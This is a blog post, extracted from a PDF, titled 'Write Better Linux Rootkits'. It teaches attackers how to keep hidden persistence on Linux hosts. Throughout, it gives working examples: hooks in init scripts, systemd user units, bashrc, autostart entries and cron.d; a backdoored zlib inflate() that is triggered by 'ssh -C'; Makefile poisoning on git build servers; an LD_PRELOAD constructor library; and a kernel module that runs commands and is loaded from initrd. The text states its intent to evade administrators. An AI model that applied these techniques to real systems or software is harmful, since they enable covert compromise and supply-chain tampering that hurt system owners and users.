1/15 November 1, 2018 Write Better Linux Rootkits jm33.me/write-better-linux-rootkits.html 有个中文版在Freebuf,需要的可以去看看 dig deeper into user space lets abuse inits the INIT a lot of script kiddies know how to write their own SysV service file or modify the existing ones, fortunate for them, SysVinit is still widely supported in Linux world. Debian family choose to keep their SysVinit compatability, which is also why systemd-sysv exists, thus, Ubuntu inherited this shit too. https://jm33.me/write-better-linux-rootkits.html https://www.freebuf.com/column/188100.html https://packages.debian.org/search?keywords=systemd-sysv 2/15 for Ubuntu, things can be quite complicated, it historically used upstart, switched to systemd from 15.04, then dropped upstart and became more like Debian. heres a screenshot for INIT on Ubuntu 18.04: almost forgot the rootkit part... yea, for most of the cases, we use SysV style service file, which, is basically shell scripts, you can find them in many devices, include IoT ones: http://upstart.ubuntu.com/ https://wiki.ubuntu.com/SystemdForUpstartUsers 3/15 #!/bin/sh # all comments have been removed PATH=/bin:/usr/bin:/sbin:/usr/sbin DESC="cron daemon" NAME=cron DAEMON=/usr/sbin/cron PIDFILE=/var/run/crond.pid SCRIPTNAME=/etc/init.d/"$NAME" test -f $DAEMON || exit 0 . /lib/lsb/init-functions # wow, why not put our evil functions in this? [ -r /etc/default/cron ] && . /etc/default/cron parse_environment() { for ENV_FILE in /etc/environment /etc/default/locale; do [ -r "$ENV_FILE" ] || continue [ -s "$ENV_FILE" ] || continue for var in LANG LANGUAGE LC_ALL LC_CTYPE; do value=$(egrep "^${var}=" "$ENV_FILE" | tail -n1 | cut -d= -f2) [ -n "$value" ] && eval export $var=$value if [ -n "$value" ] && [ "$ENV_FILE" = /etc/environment ]; then log_warning_msg "/etc/environment has been deprecated for locale information; use /etc/default/locale for $var=$value instead" fi done done # Get the timezone set. if [ -z "$TZ" -a -e /etc/timezone ]; then TZ=$(cat /etc/timezone) fi } # Parse the system's environment if [ "$READ_ENV" = "yes" ]; then parse_environment fi case "$1" in start) log_daemon_msg "Starting periodic command scheduler" "cron" # we can modify this function, without bringing too much attention start_daemon -p $PIDFILE $DAEMON $EXTRA_OPTS log_end_msg $? ;; stop) 4/15 log_daemon_msg "Stopping periodic command scheduler" "cron" killproc -p $PIDFILE $DAEMON RETVAL=$? [ $RETVAL -eq 0 ] && [ -e "$PIDFILE" ] && rm -f $PIDFILE log_end_msg $RETVAL ;; restart) log_daemon_msg "Restarting periodic command scheduler" "cron" $0 stop $0 start ;; reload | force-reload) log_daemon_msg "Reloading configuration files for periodic command scheduler" "cron" # cron reloads automatically log_end_msg 0 ;; status) status_of_proc -p $PIDFILE $DAEMON $NAME && exit 0 || exit $? ;; *) log_action_msg "Usage: /etc/init.d/cron {start|stop|status|restart|reload|force- reload}" exit 2 ;; esac exit 0 if we were going to inplement our lovely rootkit in this service, please read the above code carefully an example here: 5/15 put it to: /etc/init.d /etc/rc[runlevel].d /etc/rc.local you will need root for this for systemd, we can do this without root, thats where systemd/User comes in possible service file locations: /etc/systemd/system /etc/systemd/user /lib/systemd/system /lib/systemd/user ~/.local/share/systemd/user ~/.config/systemd/user write service file like this: [Unit] Description=Music Player Daemon [Service] ExecStart=/tmp/evil hello_from_systemd_user [Install] WantedBy=default.target use systemctl --user enable service for user services, systemctl enable service is for system-wide service bashrc very handy as well! bash shell is frequently executed, which means bashrc files are, too there are some files you might love: /etc/profile ~/.bashrc ~/.bash_profile ~/.bash_logout just add something like /tmp/evil hello_from_bashrc thats it https://wiki.archlinux.org/index.php/Systemd/User 6/15 xinitrc you probably wont believe this, but quite a lot linux servers have Xorg installed (coz they want GUI), the most used distro for those admins, is CentOS6 with Gnome2 other RCs many programs have their own RC file for init config purposes, such as VIM they exec code in RCs, and the RCs can be placed under ~ , lets abuse VIM: abuse GUI/DE most linux servers dont have any GUI installed, thus dont need to worry about this part. but like i said, there are plenty of boxes have Gnome (mostly CentOS/RHEL), i guess knowing a little bit about linux desktop can help you make better use of these XDG autostart for system put a desktop file to /etc/xdg/autostart and it will be executed on DE boot: XDG autostart for user likewise, put the above file to ~/.config/autostart and it will be executed on user login our favorite -- crond its indeed script kids' favorite, coz its as straight forward as Windows's schedule task. however its also well known to sys admins :( so, lets put our job to some hidden places like /etc/cron.d insead of /var/spool/cron im sure everybody knows how to write a cron job: 7/15 replacing files it can be done in many ways, here im going to show you some source code tampering trick take openssh as an example, we can download its source and modify some function uncompress_buffer() will only be used when ssh -C is specified, emmm, so be it, it is the one when needed, use ssh -C target and the target will run our evil function 8/15 we can patch existing binaries with our shellcode, without having to recompile the whole project. theres a tool called backdoor-factory can help you with that plus, if we are in a git/svn server, make use of the source code it hosts, modify its Makefile or configure or something else useful. through which, you have a chance running your code in a mass scale of targets, or worst, just run it on the git/svn build server abuse dynamic libs the use dynamic libs is very common, simply put, libs contain all the functions an executable calls, which means we can add our own code and get executed too replace it most of the cases, we dont patch existing SOs (shared object), to add our code, we need to recompile the lib to find a lib to tamper with, we use ldd to reveal its links to every dynamic lib: https://github.com/secretsquirrel/the-backdoor-factory 9/15 here, we play with libz.so.1 , coz its a lot like the example in previous part libz.so.1 comes from zlib, you can check it with your package manager: download openssh portable 7.9 source, grep search zlib keyword, we can easily find some code resides in packet.c : now we change zlib's code, add system() to inflate() function (which is located in inflate.c ): build zlib and use the modified libz.so* to replace the legit ones in target system, and run ssh -C to trigger our code: https://github.com/madler/zlib 10/15 NOTE as dynamic libs, their functions get called frequently by ELFs, we better not add overhead to our code. and BEWARE, what if some external ELF we call in our lib code calls back? that would be a disaster ld.so.preload thats what script kids use, yes, according to ld.so 's manual, ld.so handles every ELF/a.out in Linux, The program ld.so handles a.out binaries, a format used long ago; ld-linux.so* (/lib/ld- linux.so.1 for libc5, /lib/ld-linux.so.2 for glibc2) handles ELF, which everybody has been using for years now. Otherwise, both have the same behavior, and use the same support files and programs as ldd(1), ldconfig(8), and /etc/ld.so.conf. except for statically linked ELFs, which has their own ld.a bundled with everything else to load a lib before ld.so handles any ELFs, we put our lib into /etc/ld.so.preload , or set LD_PRELOAD=/path/to/libwhatever.so , the latter, is more stealth our lib is named libevil.so as a lib, it cant just get executed, it needs to be called. but what fucking ELF would call our libevil ??? no worries, we can use something like DllMain , its provided by GCC: here comes our code: 11/15 #include #include static void __attribute__((constructor)) lib_init(void); static void lib_init(void) { int pid = fork(); if (pid == 0) { execl("/tmp/evil", "/tmp/evil", "hello_from_evil\n", (char*)NULL); } puts("evil lib initialized"); return; } and the Makefile : all: gcc -Wall -fPIC -shared -o libevil.so evil.c -ldl clean: rm -f libevil.so *main* make it and upload to target, test it out: 12/15 NOTE libevil.so gets run before any ELFs, therefore we cant call anything dynamic, to prevent boom. also, execl() doesnt return unless it gets an error, which means libevil.so will exit its current process before any ELF acutally gets run, resulting in an unusable system btw, system() always call /bin/sh , thus cant be used in our libevil.so so, why not write our rootkit entirely in libs? make use of kernel space LKM linux can load unverified kernel modules on the fly, sounds cool huh? writing LKMs is easier than it looks, just write a Makefile first, you will know when you see it: obj-m += temp.o all: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean and the LKM code comes in: 13/15 #include #include #include MODULE_LICENSE("GPL"); // if not specified, the kernel is gonna complain static int cmd(char* argv[], char* envp[]) /* execute shell commands */ { call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // this is how we execute something // envp is useful as it provides env var support printk("exec cmd %s\n", *argv); return 0; } static int init_mod(void) /*module setup*/ { char* shell[] = { "/tmp/evil", "hello_from_lkm", NULL }; cmd(shell, NULL); printk("initialized module\n"); return 0; } static void cleanup_mod(void) /*module shutdown*/ { char* shell[] = { "/bin/rm", "/tmp/evil.log", NULL }; cmd(shell, NULL); printk("module removed\n"); return; } /* specify init and exit method */ module_init(init_mod); module_exit(cleanup_mod); simply put, you need module_init() and module_exit() , with your custom int init(void) abd void exit(void) as args add a GPL lisence, hail FSF! after building the LKM, insmod helps you load the module, rmmod does the opposite lets load it and see: https://www.gnu.org/licenses/gpl-3.0.en.html https://www.fsf.org/ 14/15 no one seems to care about initrd 15/15 you can write LKM to /etc/rc.modules or something to load your LKM on boot, but theres a better way to do that yes initrd helps a lot if you dont understand the way linux boots itself, go to this article for Kali Rolling (Linux 4.18), we have the following demo: thats it, thank you guys for being here. if you need, heres the Chinese version Comments https://wiki.debian.org/initramfs https://www.freebuf.com/column/188100.html